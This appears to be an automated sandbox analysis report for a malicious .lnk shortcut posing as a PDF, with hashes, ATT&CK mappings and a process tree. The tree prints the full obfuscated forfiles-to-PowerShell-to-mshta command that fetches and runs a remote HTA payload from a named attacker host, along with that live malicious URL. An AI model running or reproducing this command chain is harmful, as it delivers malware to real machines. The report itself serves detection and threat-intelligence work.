71a7d558b6dc215728e20ac4320ed6b26dafa9a3656558f53fa0ef5f1e79f3c7

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
12/11/2024, 22:00

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General

Target
Instruction_1921_W9COI.pdf.lnk
Size 2KB
Sample241112-1wltbasdlk
SHA256 bf198d170af6f42fc1c94b154002a0b4e99c1dded83b86902a52bd82d2a382ab
MD5 a6aa04067a00840bd40f5cbbd551800d
SHA1 1bf1b4d609f1b0001edf2785189410021dec912c
SHA512 04181ed58817288cae7fca9e634a117c8acde7f5e16bb5b294f8aca4303b69e1245583a30a5447252e763d4633bcfc70c5879ea8e8ae5cf25d622352b8f44591
MD5 SHA1 SHA512

Score

10^/10

defense_evasion

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://rt2kl9.vibrant-minds.shop/api/reg/BaristaBagging.json

Signatures

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
1644	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4100	powershell.exe
4100	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4100	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4576 wrote to memory of 1644	4576	cmd.exe	80
PID 4576 wrote to memory of 1644	4576	cmd.exe	80
PID 1644 wrote to memory of 4100	1644	forfiles.exe	82
PID 1644 wrote to memory of 4100	1644	forfiles.exe	82
PID 4100 wrote to memory of 3196	4100	powershell.exe	83
PID 4100 wrote to memory of 3196	4100	powershell.exe	83

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Instruction_1921_W9COI.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:4576
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m HelpPane.exe /c "powershell . \*i*\*2\msh*e https://rt2kl9.vibrant-minds.shop/api/reg/BaristaBagging.json
  2⤵
  - Indirect Command Execution
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    . \*i*\*2\msh*e https://rt2kl9.vibrant-minds.shop/api/reg/BaristaBagging.json
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4100
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://rt2kl9.vibrant-minds.shop/api/reg/BaristaBagging.json
      4⤵
      PID:3196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_oy1hu0fa.tvd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oy1hu0fa.tvd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4100-0-0x00007FF86DED3000-0x00007FF86DED5000-memory.dmp

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memory/4100-9-0x00000172A95E0000-0x00000172A9602000-memory.dmp

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memory/4100-10-0x00007FF86DED0000-0x00007FF86E992000-memory.dmp

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memory/4100-11-0x00007FF86DED0000-0x00007FF86E992000-memory.dmp

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memory/4100-15-0x00007FF86DED0000-0x00007FF86E992000-memory.dmp

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memory/4100-14-0x00007FF86DED0000-0x00007FF86E992000-memory.dmp

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